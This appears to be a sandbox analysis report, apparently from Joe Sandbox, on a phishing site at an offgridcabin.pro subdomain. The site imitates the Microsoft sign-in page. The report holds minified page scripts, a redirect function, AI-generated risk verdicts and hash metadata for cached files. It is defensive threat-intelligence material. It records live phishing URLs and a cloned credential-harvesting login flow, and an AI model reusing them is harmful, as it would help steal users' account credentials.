e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("integrity",t)),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("s
URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a legitimate function that fetches a redirect URL from a server and redirects the user to that URL. While it uses the `fetch` API and `credentials: 'include'` to include cookies, which could be considered a moderate-risk indicator, the overall behavior is consistent with a common redirection pattern and does not demonstrate any high-risk indicators like dynamic code execution, data exfiltration, or suspicious domains. The function also includes error handling and retry logic, which is a good practice. Overall, this script seems to be a benign implementation of a redirection mechanism." }
function getRedirect(sid) { var url = "/s/" + sid; console.log("fetching: " + url); fetch(url, { method: "GET", headers: { "Content-Type": "application/json" }, credentials: "include" }) .then((response) => { if (response.status == 200) { return response.json(); } else if (response.status == 408) { console.log("timed out"); getRedirect(sid); } else { throw "http error: " + response.status; } }) .then((data) => { if (data !== undefined) { console.log("api: success:", data); top.location.href=data.redirect_url; } }) .catch((error) => { console.error("api: error:", error); setTimeout(function () { getRedirect(sid) }, 10000); }); } getRedirect('1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999');
URL: https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a polyfill for the Promise API, which is a common and legitimate practice. It does not exhibit any high-risk behaviors like dynamic code execution, data exfiltration, or suspicious redirects. The code is also accompanied by a third-party notice, indicating it is likely part of a larger, well-documented project. While the script uses some legacy practices like `XDomainRequest`, these pose only minor risks and are not inherently malicious. Overall, the snippet seems to be a benign implementation of a standard web API, with no clear signs of malicious intent." }
/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. * * json2.js (2016-05-01) * https://github.com/douglascrockford/JSON-js * License: Public Domain * * Provided for Informational Purposes Only * * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------ */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)r=i[s],Object.prototype.hasOwnProperty.call(o,r)&&o[r]&&u.push(o[r][0]),o[r]=0;for(n in a)Object.prototype.hasOwnProperty.call(a,n)&&(e[n]=a[n]);for(c&&c(t);u.length;)u.shift()()}var n,r={},o={1:0};function i(t){if(r[t])return r[t].exports;var n=r[t]={i:t,l:!1,exports:{}};return e[t].call(n.exports,n,n.exports,i),n.l=!0,n.exports}Function.prototype.bind\|\|(n=Array.prototype.slice,Function.prototype.bind=function(e){if("function"!=typeof this)throw new TypeError("Function.prototype.bind - what is trying to be bound is not callable");var t=n.call(arguments,1),r=t.length,o=this,i=function(){},a=function(){return t.length=r,t.push.apply(t,arguments),o.apply(i.prototype.isPrototypeOf(this)?this:e,t)};return this.prototype&&(i.prototype=this.prototype),a.prototype=new i,a}),document.head=document.head\|\|document.getElementsByTagName("head")[0],function(){function e(t){var n=this,r=0,o=null,i=[];function a(){if(i.length>0){var e=i.slice();i=[],setTimeout((function(){for(var t=0,n=e.length;t<n;++t)e[t]()}),0)}}function s(e){0===r&&(o=e,r=1,a())}function u(e){0===r&&(o=e,r=2,a())}n.then=function(t,n){return new e((function(s,u){!function(t,n,s,u){i.push((function(){var i;try{i=1===r?"function"==typeof t?t(o):o:"function"==typeof n?n(o):o}catch(a){return void u(a)}i instanceof e?i.then(s,u):2===r&&"function"!=typeof n?u(i):s(i)})),0!==r&&a()}(t,n,s,u)}))},n["catch"]=function(e){return n.then(null,e)},function(){if("function"!=typeof t)throw new TypeError("Promise: argument is not a Function object");try{t(s,u)}catch(e){u(e)}}()}function t(e,t,n,r,o){return function(i){e[t]=r?i:o?{status:"fulfilled",value:i}:{status:"rejected",reason:i},n()}}function n(n,r){return n&&n.length?new e((function(o,i){for(var a=[],s=0,u=0,c=n.length;u<c;++u){var l=n[u];if(l instanceof e){s++;var d=function(){0==--s&&o(a)};r?l.then(t(a,u,d,r),i):l.then(t(a,u,d,r,!0),t(a,u,d,r,!1))}else a[u]=l}0===s&&setTimeout((function(){o(a)}),0)})):e.resolve([])}function r(e,t){return function(){e(t)}}e.all=function(e){return n(e,!0)},e.allSettled=function(e){return n(e,!1)},e.race=function(t){return new e((function(n,o){if(t&&t.length)for(var i=0,a=t.length;i<a;++i){var s=t[i];s instanceof e?s.then(n,o):setTimeout(r(n,s),0)}}))},e.reject=function(t){return new e((function(e,n){n(t)}))},e.resolve=function(t){return t instanceof e?t:t&&"function"==typeof t.then?new e((function(e,n){t.then(e,n)})):new e((function(e){e(t)}))},window.Promise\|\|(window.Promise=e),window.Promise.all\|\|(window.Promise.all=e.all),window.Promise.allSettled\|\|(window.Promise.allSettled=e.allSettled),window.Promise.race\|\|(window.Promise.race=e.race),window.Promise.reject\|\|(window.Promise.reject=e.reject),window.Promise.resolve\|\|(window.Promise.resolve=e.resolve)}(),i.e=function(e){var t=[],n=o[e];if(0!==n)if(n)t.push(n[2]);else{var r=new Promise((function(t,r){n=o[e]=[t,r]}));t.push(n[2]=r);var a=window.ServerData,s=a&&a.loader&&a.loader.cdnRoots\|\|[],u=a&&a.slMaxRetry?a.slMaxRetry:s.length-1,c=new Error;var l=function d(t,n){var
URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please Wait", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The provided JavaScript snippet is a part of the jQuery library, which is a widely used and reputable open-source library for DOM manipulation and event handling. The code does not exhibit any high-risk behaviors such as dynamic code execution, data exfiltration, or redirects to malicious domains. It primarily consists of utility functions and object manipulations typical of a library. There are no indicators of malicious intent or suspicious behavior, thus it is considered low risk." }
/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var f="3.5.1",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|m(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)\|\|(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i\|\|S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="sizzle"+1*new Date,p=n.document
URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro... Model: Joe Sandbox AI	```json { "risk_score": 2, "reasoning": "The script primarily involves DOM manipulation and logging, with no high-risk behaviors like dynamic code execution or data exfiltration. It uses aggressive DOM manipulation patterns, which are moderate-risk indicators, but there are no signs of malicious intent or interaction with suspicious domains." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+h.length).toLowerCase()===h}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("integrity",t)),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("s
URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Next", "text_input_field_labels": [ "Email, phone, or Skype" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "5xtqk@ofsla.org" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The provided URL 'hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro' does not match the legitimate domain for Microsoft.", "The URL contains a random string and an unusual domain extension '.pro', which is not typically associated with Microsoft.", "The presence of input fields for 'Email, phone, or Skype' is common for phishing attempts targeting Microsoft accounts.", "The domain 'offgridcabin.pro' does not have any known association with Microsoft." ], "riskscore": 9} Google indexed: False
URL: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Brands: Microsoft Input Fields: Email, phone, or Skype
URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The provided URL 'hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro' does not match the legitimate domain for Microsoft.", "The domain 'offgridcabin.pro' is unrelated to Microsoft and appears suspicious.", "The URL contains a random string 'hv4q6nqj04o2dvm9n22jnhizw', which is a common tactic in phishing to obscure the true nature of the site.", "The domain extension '.pro' is unusual for a Microsoft-related site, which typically uses '.com'." ], "riskscore": 9} Google indexed: False
URL: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Brands: Microsoft Input Fields: 5xtqk@ofsla.org
URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "We couldn't find an account with that username. Try another, or get a new Microsoft account.", "prominent_button_name": "Next", "text_input_field_labels": [ "5xtkqk@ofsla.org" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	downloaded
Size (bytes):	454821
Entropy (8bit):	5.446048466589962
Encrypted:	false
SSDEEP:	6144:vSxuPjK4laK2d/KkpZYhspmxiSpD9OduUSmcEHKE0H3NX4hr:vSQAKkp6epkiSUSk9
MD5:	9FB54AC2D5989B69812DC20A0197D097
SHA1:	7D85087301E431FBC75E9CC6E90795EB1E712C28
SHA-256:	44497AA966F9470221514CF367849DF73FF4E30D3641FBF5EB53439DFDB17FEE
SHA-512:	B8EC088C24CC9F0862CBE3CF8C41B426AC74024861704CBA1896203BF9C86489AFF03543DF4EF2D17564E35056E56F1B367CC0A8F3E11F0FFB30BB3672754C64
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46591)
Category:	dropped
Size (bytes):	142384
Entropy (8bit):	5.431034586882792
Encrypted:	false
SSDEEP:	1536:PyeDWgSr6fTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGR:IgD1g/Mq5L9EveUynbBwsIc/p
MD5:	63617A0E17C75BF5B8DCF2CB14B108D2
SHA1:	0B8DD56B496829A632AF88B0F1011CB35499D4D3
SHA-256:	3D252E97B51521FE2D934AECA61CC380EC27B49BEBDCCB915271994C51BC789D
SHA-512:	A64024DEB244D8743800AFD1A196638F00824D20E3B3F25C77A2034D63AB9F12F37646554561A0BC09E79B6DBDEEE6EC6F458010250F531E35F1126DC6725AEC
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	dropped
Size (bytes):	454838
Entropy (8bit):	5.446171368776635
Encrypted:	false
SSDEEP:	6144:vSxuPjK4AaK2d/KkpZYhspmxiSpD9OduUSmcEHKE0H3NX4hr:vSQZKkp6epkiSUSk9
MD5:	9437A16ACB9E784B6F5B513EC2B7F8BE
SHA1:	94315F895A5F8DDFC303514233196504972178FF
SHA-256:	5629CCC0F1C53B932915DC3B10957F189FD596AF25D79172CD864E1C45B41F1B
SHA-512:	6A1D80F09E93C8FE63CB2D25DAF506D04735FDCECBE7D2E8E0B588AC9F871ECB37466FB5E31A0E355241A2BADDE4057FB7DCB70AFE161CE6D7E17C0BEC931617
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2054)
Category:	downloaded
Size (bytes):	9285
Entropy (8bit):	5.397876465825329
Encrypted:	false
SSDEEP:	192:U23y7LVYADenIY9uOqc4gIVH4VoXLIOjMuj4lMNVWmn4GHF5y8WC:U23y7hDTYvquI14i5EOvWmNl5y8h
MD5:	439A53994F1A9C860C7787ED5100CA0C
